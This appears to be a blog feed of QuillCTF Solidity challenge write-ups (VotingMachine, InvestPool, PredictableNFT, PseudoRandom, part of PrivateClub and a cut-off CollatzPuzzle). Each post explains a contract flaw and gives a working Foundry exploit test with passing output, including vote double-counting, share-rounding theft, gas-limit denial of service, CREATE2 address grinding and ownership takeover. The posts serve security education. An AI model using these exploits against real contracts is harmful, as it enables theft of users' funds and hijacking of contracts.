address user4 = makeAddr("user4");
address hacker = makeAddr("hacker");
uint blockGasLimit = 120000;

function setUp() public {
vm.deal(clubAdmin, 100 ether);
vm.deal(hacker, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.deal(user4, 10 ether);
vm.startPrank(clubAdmin);
club = new PrivateClub();
club.setRegisterEndDate(block.timestamp + 5 days);
club.addMemberByAdmin(adminFriend);
address(club).call{value: 100 ether}("");
vm.stopPrank();
vm.startPrank(user2);
address[] memory mForUser2 = new address[](1);
mForUser2[0] = adminFriend;
club.becomeMember{value: 1 ether}(mForUser2);
vm.stopPrank();
vm.startPrank(user3);
address[] memory mForUser3 = new address[](2);
mForUser3[0] = adminFriend;
mForUser3[1] = user2;
club.becomeMember{value: 2 ether}(mForUser3);
vm.stopPrank();
}

function test_attack() public {
vm.startPrank(hacker);
// task1: become member of the club and
// block future registrations (reason: out of gas - block gas limit)
// solution:

uint membersCount = club.membersCount();
for(uint i = 0; i < membersCount; ++i){
members_.push(hacker);
}

while(true){
(bool success, bytes memory ret) = address(club).call{value: members_.length * 1 ether, gas: blockGasLimit}(
abi.encodeWithSignature(
"becomeMember(address[])", members_
)
);
if(!success){
break;
}

membersCount = club.membersCount();
for(uint i = members_.length; i < membersCount; ++i){
members_.push(hacker);
}

}


vm.stopPrank();
// check - hacker is member
assertTrue(club.members(hacker));


// check - user4 can not become member - blockGasLimit
vm.startPrank(user4);
address[] memory mForUser4 = new address[](club.membersCount());
for (uint i = 0; i < club.membersCount(); i++) {
mForUser4[i] = club.members_(i);
}
uint etherAmount = mForUser4.length * 1 ether;
uint gasleftbeforeTxStart = gasleft();
club.becomeMember{value: etherAmount}(mForUser4);
uint gasleftAfterTxStart = gasleft();

assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
vm.stopPrank();


vm.startPrank(hacker);
// task2: buy admin role and withdraw all ether from the club
// solution:

club.buyAdminRole{value: 10 ether}(hacker);
club.adminWithdraw(hacker, address(club).balance);
// check - hacker is owner of club
assertEq(club.owner(), hacker);
assertGt(hacker.balance, 110000000000000000000 - 1);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/PrivateClub.t.sol:Hack
[PASS] test_attack() (gas: 1179280)
Test result: ok. 1 passed; 0 failed; finished in 2.81ms

· 5 min read
Kaan Caglan

Voting Machine is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Accumulate at least 3000 votes in your hacker address. You don’t have any tokens in your wallet.

After trying all attempts and failing, you decided to perform a phishing attack and you successfully obtained the private keys from three users: Alice, Bob, and Carl.

Fortunately, Alice had 1000 vTokens, but Bob and Carl don’t have any tokens in their accounts. (see foundry setUp)

Now that you have access to the private keys of Alice, Bob, and Carl's accounts. So, try again.

So we have private keys for 4 user, Alice, Bob, Carl, and hacker. Our objective is to get 1000 vTokens and also get 3000 vote delegation in our hacker wallet.

pragma solidity 0.8.12;

import "@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract VoteToken is ERC20("Vote Token", "vToken") {

address public owner;

modifier onlyOwner() {
require(owner == msg.sender);
_;
}

constructor() {
owner = msg.sender;
}

function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}

function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
_moveDelegates(_delegates[_from], address(0), _amount);
}


mapping(address => address) internal _delegates;

struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}


function _moveDelegates(address from, address to, uint256 amount) internal {
if (from != to && amount > 0) {
if (from != address(0)) {
uint32 fromNum = numCheckpoints[from];
uint256 fromOld = fromNum > 0 ? checkpoints[from][fromNum - 1].votes : 0;
uint256 fromNew = fromOld - amount;
_writeCheckpoint(from, fromNum, fromOld, fromNew);
}

if (to != address(0)) {
uint32 toNum = numCheckpoints[to];
uint256 toOld = toNum > 0 ? checkpoints[to][toNum - 1].votes : 0;
uint256 toNew = toOld + amount;
_writeCheckpoint(to, toNum, toOld, toNew);
}
}
}

mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
mapping(address => uint32) public numCheckpoints;

function delegates(address _addr) external view returns (address) {
return _delegates[_addr];
}

function delegate(address _addr) external {
return _delegate(msg.sender, _addr);
}


function getVotes(address _addr) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[_addr];
return nCheckpoints > 0 ? checkpoints[_addr][nCheckpoints - 1].votes : 0;
}

function _delegate(address _addr, address delegatee) internal {
address currentDelegate = _delegates[_addr];
uint256 _addrBalance = balanceOf(_addr);
_delegates[_addr] = delegatee;
_moveDelegates(currentDelegate, delegatee, _addrBalance);
}


function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = uint32(block.number);

if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
}
}

Since we have the private key of alice we can obtain 1000 vTokens easily with one easy transfer call vToken.transfer(hacker, vToken.balanceOf(alice));. However we also need to accumulate 3000 votes in our hacker address. If we take a look to the contract we can see that there is a delegate function which allows us to delegate our votes to any other user. That delegate function is calling _delegate and it calls _moveDelegates which is also calling _writeCheckpoint function. It can be seen that whenever any user calls delegate function it overwrites the current delegation settings with the new given delegatee address. So we can't call this delegate function 3 times to achieve 3000 votes. However the getVotes function is not checking if the already given checkpoints are still valid or not. Which means if alice delegates her vote power to bob and transfers her balance to bob, bob will still have 1000 votes and also he will have 1000 vTokens. We can crack this with transfering balances over and over again.

POC

  • Alice gives delegates to hacker and transfers her vTokens to bob
  • Now bob has 1000 vTokens and hacker has 1000 delegate power
  • Bob gives delegates to hacker and transfers his vTokens to carl
  • Now carl has 1000 vTokens and hacker has 2000 delegate power
  • Carl gives delegates to hacker and transfer his vTokens to hacker
  • Now hacker has 3000 vTokens and also 1000 vTokens
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;

import "forge-std/Test.sol";
import "../src/VotingMachine.sol";

contract exploitTest is Test {
VoteToken vToken;
address public owner = address(0);
address public hacker =address(1337);

address public alice= address(1);
address public bob = address(2);
address public carl = address(3);

function setUp() public {
vm.startPrank(owner);
vToken = new VoteToken();
vToken.mint(alice, 1000);
vm.stopPrank();
}

function testExploit() public {
vm.startPrank(alice);

// soluiton
vToken.delegate(hacker);
vToken.transfer(bob, vToken.balanceOf(alice));

vm.stopPrank();

vm.startPrank(bob);
vToken.delegate(hacker);
vToken.transfer(carl, vToken.balanceOf(bob));


vm.stopPrank();

vm.startPrank(carl);
vToken.delegate(hacker);
vToken.transfer(hacker, vToken.balanceOf(carl));

vm.stopPrank();

uint hacker_vote = vToken.getVotes(hacker);
console.log("Vote Count of Hacker before attack: %s ", hacker_vote);

uint hacker_balance= vToken.balanceOf(hacker);
console.log("Hacker's vToken after the attack: %s: ", hacker_balance);

assertEq(hacker_vote , 3000);
assertEq(hacker_balance, 1000);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.12
[] Solc 0.8.12 finished in 1.27s
Compiler run successful (with warnings)
warning[5667]: Warning: Unused function parameter. Remove or comment out the variable name to silence this warning.
--> src/VotingMachine.sol:80:71:
|
80 | function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
| ^^^^^^^^^^^^^^^^




Running 1 test for test/VotingMachine.t.sol:exploitTest
[PASS] testExploit() (gas: 206573)
Logs:
Vote Count of Hacker before attack: 3000
Hacker's vToken after the attack: 1000:

Test result: ok. 1 passed; 0 failed; finished in 1.20ms

· 7 min read
Kaan Caglan

Invest Pool is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there are 2 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Your objective is to have a greater token balance than your initial balance.

So somehow we need steal some tokens from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract PoolToken is ERC20("loan token", "lnt"), Ownable {
function mint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}
}
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract InvestPool {
IERC20 token;
uint totalShares;
bool initialized;
mapping(address => uint) public balance;

modifier onlyInitializing() {
require(initialized, "Not initialized! You are so stupid!");
_;
}

constructor(address _token) {
token = IERC20(_token);
}

function initialize(string memory password) external {
// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars
require(!initialized, "Already initialized");
require(
keccak256(abi.encode(password)) ==
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd,
"Wrong password"
);
initialized = true;
}

function deposit(uint amount) external onlyInitializing {
uint userShares = tokenToShares(amount);
balance[msg.sender] += userShares;
totalShares += userShares;
token.transferFrom(msg.sender, address(this), amount);
}

function tokenToShares(uint userAmount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance == 0) return userAmount;
return (userAmount * totalShares) / tokenBalance;
}

function sharesToToken(uint amount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
return (amount * tokenBalance) / totalShares;
}

function transferFromShare(uint amount, address from) public {
uint size;
assembly {
size := extcodesize(address())
}
require(size == 0, "code size is not 0");
require(balance[from] >= amount, "amount is too big");
balance[from] -= amount;
balance[msg.sender] += amount;
}

function withdrawAll() external onlyInitializing {
uint shares = balance[msg.sender];
uint toWithdraw = sharesToToken(shares);
balance[msg.sender] = 0;
totalShares -= shares;
token.transfer(msg.sender, toWithdraw);
}
}

If we take a look to the InvestPool contract it can be seen that to call deposit and withdrawAll functions we need to set initialized flag to true and it can be done with initialize function. However that function is expecting a password which should satisfy the requirement keccak256(abi.encode(password)) == 0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd. So we need to find a valid password for that. On the initialize function there is a hint which says

// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars

So we can find the valid password from that contract. deployed contract is not verified. However we can decompile the contract to see the content of that. We can use this decompiler. If we take a look to the decompiled contract

// Decompiled by library.dedaub.com
// 2023.04.11 13:00 UTC
// Compiled using the solidity compiler version 0.6.11


// Data structures and variables inferred from the use of storage instructions
uint256 _a; // STORAGE[0x0]
uint256 _b; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]



function () public payable {
revert();
}

function a() public payable {
return _a;
}

function b() public payable {
return _b;
}

function 0xcc8e2394() public payable {
return stor_2;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0xdbe671f == function_selector >> 224) {
a();
} else if (0x4df7e3d0 == function_selector >> 224) {
b();
} else if (0xcc8e2394 == function_selector >> 224) {
0xcc8e2394();
}
}
();
}

We can see there is a function which has a signature 0xcc8e2394 which is equal to getPassword(). So if we take a look to the initial transaction of that contract from ethercan we can see the value of getPassword() is 0x05. So it can't be the actual password we are looking for because hint says Password length is more than 30 chars. If we take a look to the contract bytecode deeply we can see that there is a signature for ipfs keyword. Encoding of the Metadata Hash in Bytecode page explains the details. So we know that creator sent the metadata hash with bytecode. According to the page its CBOR-encoded and it starts with 0xa264 then there is ipfs word which is equal to 69 70 66 73 so after that there i also 0x58 and 0x22. 0x22 stands for the length of ipfs which is also written in the documentation. So after those bytes if we read 34 byte we can retrieve the ipfs hash. We can write a small python script to retrieve ipfs hash.

import base58
import requests

bytecode = "0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630dbe671f1460415780634df7e3d014605b578063cc8e2394146075575b600080fd5b6047608f565b6040516052919060b8565b60405180910390f35b60616095565b604051606c919060b8565b60405180910390f35b607b609b565b6040516086919060b8565b60405180910390f35b60005481565b60015481565b60025481565b6000819050919050565b60b28160a1565b82525050565b600060208201905060cb600083018460ab565b9291505056fea264697066735822122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea64736f6c634300060b0033"

ipfs_prefix = "a264697066735822"
ipfs_prefix_index = bytecode.find(ipfs_prefix)

if ipfs_prefix_index != -1:
ipfs_hash_bytes_start = ipfs_prefix_index + len(ipfs_prefix)
ipfs_hash_bytes_end = ipfs_hash_bytes_start + 68
ipfs_hash_bytes = bytecode[ipfs_hash_bytes_start:ipfs_hash_bytes_end]
print("IPFS Hash Bytes:", ipfs_hash_bytes)

# Convert to Multihash
multihash = base58.b58encode(bytes.fromhex(ipfs_hash_bytes)).decode("utf-8")
print("IPFS Multihash:", multihash)
password = requests.get('https://ipfs.io/ipfs/'+str(multihash)).content.decode('utf-8').replace('\n','')
print('Password: ', password)
else:
print("IPFS prefix not found")

If we run this script, we can get the password

> python helper.py
IPFS Hash Bytes: 122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea
IPFS Multihash: QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V
Password: j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx

So now we have the valid password to call initialize function and make initialized parameter true. So now since we can call the deposit and withdrawAll functions we can find a vulnerability to steal money. When we call deposit it calls the tokenToShares function and adds totalShares and also the balances variables according to the return value of tokenToShares function. However it is using tokenBalance to do the calculation. So it means we can increase the tokenBalance parameter with transfering tokens directly to the contract. With the help of this we will only increase the tokenBalance and totalShares will stay same. To break this we can do following

  • Deposit 5 tokens with deposit function as hacker
  • Now totalShares will be 5, balance[hacker] will be 5 and also tokenBalance will be 5
  • We can transfer 16 tokens with token.transfer(address(pool), 16);
  • Now totalShares is 5, balance[hacker] is again 5 but now tokenBalance is 21.
  • So if any user deposits less than 5 token their shares won't be updated due to divison on tokenToShares
  • User deposits 4 token, it will call tokenToShares as userAmount is 4, it will return (userAmount * totalShares) / tokenBalance which will be (4*5)/21 = 20/21 and which will equal to 0.
  • If hacker calls withdrawAll function it will call sharesToToken with shares as a 5, it will return (amount * tokenBalance) / totalShares which will be (5*25/5)= 25 and it will transfer that amount to hacker
  • Eventually hacker will have 25 tokens, however hacker only sent 21 tokens to the pool.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/poolToken.sol";
import "../src/investPool.sol";

contract Hack is Test {
PoolToken token;
InvestPool pool;
address user = vm.addr(1);
address hacker = vm.addr(2);

function setUp() external {
token = new PoolToken();
pool = new InvestPool(address(token));

token.mint(2000e18);
token.transfer(user, 1000e18);
token.transfer(hacker, 1000e18);

vm.prank(user);
token.approve(address(pool), type(uint).max);

vm.prank(hacker);
vm.deal(hacker, 1 ether);
token.approve(address(pool), type(uint).max);
}

function userDeposit(uint amount) public {
vm.prank(user);
pool.deposit(amount);
vm.stopPrank();
}

function test_hack() public {
uint hackerBalanceBeforeHack = token.balanceOf(hacker);
vm.startPrank(hacker);


string memory pass = 'j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx';
console.logBytes32(keccak256(abi.encode(pass)));
pool.initialize(pass);


pool.deposit(5);
token.transfer(address(pool), 16);
vm.stopPrank();
userDeposit(4);
vm.startPrank(hacker);

pool.withdrawAll();

vm.stopPrank();
console.log("Initial hacker balance: ", hackerBalanceBeforeHack);
console.log("Hacker balance after attack: ", token.balanceOf(hacker));

assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/InvestPool.t.sol:Hack
[PASS] test_hack() (gas: 123524)
Logs:
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd
Initial hacker balance: 1000000000000000000000
Hacker balance after attack: 1000000000000000000004

Test result: ok. 1 passed; 0 failed; finished in 2.68ms

· 5 min read
Kaan Caglan

Predictable NFT is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, we don't have any contract. There is only one foundry setUp file. Contract is deployed on goerli test network.

Etherscan URL

However since code is not verified, we can not see the code.

Objective of CTF is

In this game, you can spend 1 ether to "mint" an NFT token with 3 possible ranks: Common(1), Rare(2), and Superior(3). As a hacker, your goal is to always mint the Superior ones.

So we need to mint a token with rank Superior. If take a look to the decompiled code it can be seen that

function mint() public payable { 
require(0xde0b6b3a7640000 == msg.value, Error('show me the money'));
require(_id <= 1 + _id, Panic(17)); // arithmetic overflow or underflow
_id += 1;
require(100, Panic(18)); // division by zero
if (keccak256(_id, msg.sender, block.number) % 100 <= 90) {
if (keccak256(_id, msg.sender, block.number) % 100 <= 80) {
v0 = v1 = 1;
} else {
v0 = v2 = 2;
}
} else {
v0 = v3 = 3;
}
_tokens[_id] = v0;
return _id;
}

mint() function is expecting us to give 0xde0b6b3a7640000 amount as msg.value, which is 1 ether to call that function. And for the rank part there is a keccak256 hashing and then it checks modulo 100 for that one to calculate the reward. So if we want to mint superior tokens somehow we need to make that keccak256 % 100 statement return more than 90. That statement is calculating 3 things together. _id of the token, msg.sender and also the block.number. It is not possible for us to play with block.number or _id because they will be updated in every call and our goal is to mint superior tokens all the time. We can only play with the msg.sender value.

If we take a look to the foundry setup

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;

import "forge-std/Test.sol";

contract PredictableNFTTest is Test {
address nft;

address hacker = address(0x1234);

function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}

function test() public {
vm.startPrank(hacker);
uint mintedId;
uint currentBlockNum = block.number;

// Mint a Superior one, and do it within the next 100 blocks.
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);

// ---- hacking time ----

currentBlockNum++;
}

// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}

It can be also seen that our hacker accounts address is 0x1234 and we can't use any other address. However mint function doesn't have any contract control. So it means we can call that function from a smart contract. We can deploy a smart contract with using the salt value. The salt value is used in the deployment process to generate a deterministic address for the new contract instance. The address of the contract is determined by hashing together the creator address, the salt value, and the contract creation code. Since the salt value is different for each contract instance, each instance will have a different address.

With the help of salt we can create bunch of different smart contracts and check if their address is valid for current block.number and _id.

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8.19;

import "forge-std/Test.sol";

interface IPredictableNFT {
function mint() external payable;
}

contract AttackContract {
address nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);

function attack() public payable returns(uint256){
(, bytes memory ret2) = nft.call{value: msg.value}(abi.encodeWithSignature(
"mint()"
));
return uint256(bytes32(ret2));
}

}
contract Create2Factory {
event Deploy(address addr);

function createContract(uint256 id) public payable returns(uint256){
for(uint256 i; i < 200; i++){
AttackContract _contract = new AttackContract{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}();
if(isValid(address(_contract), id)){
return _contract.attack{value: msg.value}();
}
}
revert("Couldn't found");
}

function isValid(address testAddr, uint256 _id) public view returns (bool) {
return uint256(keccak256(abi.encode(_id, testAddr, block.number))) % 100 >= 90;
}
}

contract PredictableNFTTest is Test {
address nft;

address hacker = address(0x1234);

function setUp() public {
vm.createSelectFork("goerli");
vm.deal(hacker, 1 ether);
nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC);
}

function test() public {
vm.startPrank(hacker);
uint mintedId=0;
uint currentBlockNum = block.number;

// Mint a Superior one, and do it within the next 100 blocks.
Create2Factory factory = new Create2Factory();
for(uint i=0; i<100; i++) {
vm.roll(currentBlockNum);

if(mintedId == 0){
(bool success, bytes memory ret3) = nft.call(abi.encodeWithSignature(
"id()"
));
uint256 currentId = uint256(bytes32(ret3)) + 1;
mintedId = factory.createContract{value: 1e18}(currentId);
break;
}

currentBlockNum++;
}

// get rank from `mapping(tokenId => rank)`
(, bytes memory ret) = nft.call(abi.encodeWithSignature(
"tokens(uint256)",
mintedId
));
uint mintedRank = uint(bytes32(ret));
assertEq(mintedRank, 3, "not Superior(rank != 3)");
}
}
> forge test      
[] Compiling...
No files changed, compilation skipped

Running 1 test for test/PredictableNFTTest.t.sol:PredictableNFTTest
[PASS] test() (gas: 725097)
Test result: ok. 1 passed; 0 failed; finished in 1.04s

· 5 min read
Kaan Caglan

PseudoRandom is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only one solidity file and also one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Become the Owner of the contract.

Objective is clear, we just need to be the owner of the contract.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract PseudoRandom {
error WrongSig();

address public owner;

constructor() {
bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}

let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), origin()), slot)

let sig := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(origin(), caller()), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), origin()), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
sstore(slot, sig)
}
}

fallback() external {
if (msg.sig == 0x3bc5de30) {
assembly {
mstore(0x00, sload(calldataload(0x04)))
return(0x00, 0x20)
}
} else {
bytes4 sig;

assembly {
sig := sload(sload(add(chainid(), caller())))
}

if (msg.sig != sig) {
revert WrongSig();
}

assembly {
sstore(owner.slot, calldataload(0x24))
}
}
}
}

If we take a look to the contract it can be seen that else case on the fallback function is storing the given data into the owner.slot. So we need to find a valid msg.sig to pass

if (msg.sig != sig) {
revert WrongSig();
}

this control, and after that the second parameter we gave (0x24) will be set to the slot owner.slot. However signature is calculated of the constructor. On the constructor there are few unknown variables for us

  • scalar
  • slot
  • sig We know the rest of them. For example from the foundry setup we know that caller and origin isthe variable addr, we are in same block so we also know number(), chainid() and timestamp(). Even if we wouldn't be in the same block we could find them from the initial transaction anyway. So since we know the timestamp() number() and chainid() we actually know the scalar, we can calculate it with just copy pasting the assembly statement in the solution part. In the second assembly block there is call opcode used and the output of call is stored to 0x00 with length of 0x40.

The call function parameters are as follows:

  • gas(): The amount of gas available for the call.
  • 0x07: The address of the contract being called.
  • 0x00: The amount of Ether to send with the call (in this case, 0).
  • input: The memory location where the input data starts.
  • 0x60: The size of the input data (in this case, 96 bytes, as input is an array of 3 bytes32 values).
  • 0x00: The memory location where the output data will be stored.
  • 0x40: The size of the output data.

The call function is instructed to store the output data in memory starting at location 0x00, with a maximum size of 0x40 bytes (64 bytes). Since the call function modifies memory locations 0x00 and 0x20, the memory values at these locations depend on the result of the call. So again if we use call opcode with exact same way, we can get exactly simular output to our memory locations 0x00 and 0x20 so eventually we can calculate the slot variable. After we found slot everything is straightforward. We don't need to understand the operations done on sig calculation because everything will be same for us.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/PseudoRandom.sol";

contract PseudoRandomTest is Test {
string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56
string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137
string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250
string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161
string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10
string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100

address private addr;

function setUp() external {
vm.createSelectFork(BSC_RPC);
}
function thisistestfunc(uint256 a, address b) public{
//some implementation
}

function test() external {
string memory rpc = new string(32);
assembly {
// network selection
let _rpc := sload(
add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot)
)
mstore(rpc, shr(0x01, and(_rpc, 0xff)))
mstore(add(rpc, 0x20), and(_rpc, not(0xff)))
}

addr = makeAddr(rpc);

vm.createSelectFork(rpc);

vm.startPrank(addr, addr);
address instance = address(new PseudoRandom());

//the solution

bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes memory test = abi.encodeWithSignature('thisistestfunc(uint256,address)', 0, addr);

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;
bytes32 sign;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}
let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), sload(addr.slot)), slot)

sign := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(sload(addr.slot), sload(addr.slot)), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), sload(addr.slot)), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
}

bytes4 customSelector = bytes4(sign);

for (uint256 i = 0; i < 4; i++) {
test[i] = customSelector[i];
}

(bool success, bytes memory data) = instance.call(test);
require(success,"failed low-level call");

assertEq(PseudoRandom(instance).owner(), addr);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.19
[] Solc 0.8.19 finished in 982.82ms
Compiler run successful

Running 1 test for test/PseudoRandom.t.sol:PseudoRandomTest
[PASS] test() (gas: 214601)
Test result: ok. 1 passed; 0 failed; finished in 3.43s

· 8 min read
Kaan Caglan

Collatz Puzzle is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. CollatzPuzzle.sol. Contract is not deployed on any test network.

Objective of CTF is

Make a successful call to the callMe function.
You should be the deployer of the contract at the given addr parameter!

To solve this question we have to call callMe() function with an address parameter and that address should belong to a solidity contract. There are 2 conditions in that callMe function. First one is size of the contract should be between 0 and 32 and in each loop it should pass the require(p == q, "result mismatch!"); statement.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICollatz {
function collatzIteration(uint256 n) external pure returns (uint256);
}

contract CollatzPuzzle is ICollatz {
function collatzIteration(uint256 n) public pure override returns (uint256) {
if (n % 2 == 0) {
return n / 2;
} else {
return 3 * n + 1;
}
}

function callMe(address addr) external view returns (bool) {
// check code size
uint256 size;
assembly {
size := extcodesize(addr)
}
require(size > 0 && size <= 32, "bad code size!");

// check results to be matching
uint p;
uint q;
for (uint256 n = 1; n < 200; n++) {
// local result
p = n;
for (uint256 i = 0; i < 5; i++) {
p = collatzIteration(p);
}
// your result
q = n;
for (uint256 i = 0; i < 5; i++) {
q = ICollatz(addr).collatzIteration{gas: 100}(q);
}
require(p == q, "result mismatch!");
}

return true;
}
}

Second require statement is easy to solve. We just need to implement a function named collatzIteration and it should return exactly the same as the original collatzIteration. If we try to write an attack contract which does the same thing in solidity it should pass the second require statement but it will fail on the first one.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract AttackSolidity {
function collatzIteration(uint256 n) public pure returns (uint256 res) {
res = (n % 2 == 0) ? n / 2 : 3 * n + 1;
}
}

If we deploy it and check the size we will see


>>> attack_contract = AttackSolidity.deploy({'from': attacker})
Transaction sent: 0xd87a4af421a6b01027c5e79164478bfb5d5d864428ba33dc87a854ff2377cf84
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
AttackSolidity.constructor confirmed Block: 2 Gas used: 129109 (1.08%)
AttackSolidity deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

TypeError: 'str' object is not callable
>>> test.testSize(attack_contract)
352

And the testSize function is

    function testSize(address addr) public view returns(uint256 size){
// check code size
assembly {
size := extcodesize(addr)
}
}

So it is not possible to solve this question by writing pure solidity code. Instead, we can write a YUL code or direct OPCode. Yul (previously also called JULIA or IULIA) is an intermediate language that can be compiled to bytecode for different backends.

In .yul code we should write an assembly. Normal structure of YUL is like this

object "Contract" {
// This is the constructor code of the contract.
code {
// Deploy the contract
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}

object "runtime" {
code {
// Protection against sending Ether
if gt(callvalue(), 0) {
revert(0, 0)
}

// Dispatcher
switch selector()
case 0x6d4ce63c {
returnUint(get())
}
case 0x371303c0 {
inc()
}
case 0xb3bcfa82 {
dec()
}
default {
revert(0, 0)
}

// ABI
function get() -> counter {
counter := sload(counterSlot())
}

function inc() {
sstore(counterSlot(), add(get(), 1))
}

function dec() {
sstore(counterSlot(), sub(get(), 1))
}

// Helpers
function selector() -> s {
s := div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)
}

function returnUint(v) {
mstore(0, v)
return(0, 0x20)
}

// Slots
function counterSlot() -> s { s := 0 }
}
}
}

This piece of code is taken from Evm Playground So we can see that there is a object "ContractName" and that code returns the code under object "runtime" So we have to modify this object "runtime" it in a way that works for us. To do that we can check OPCODES FOR THE EVM.

01  ADD 3   a, b    a + b       (u)int256 addition modulo 2**256
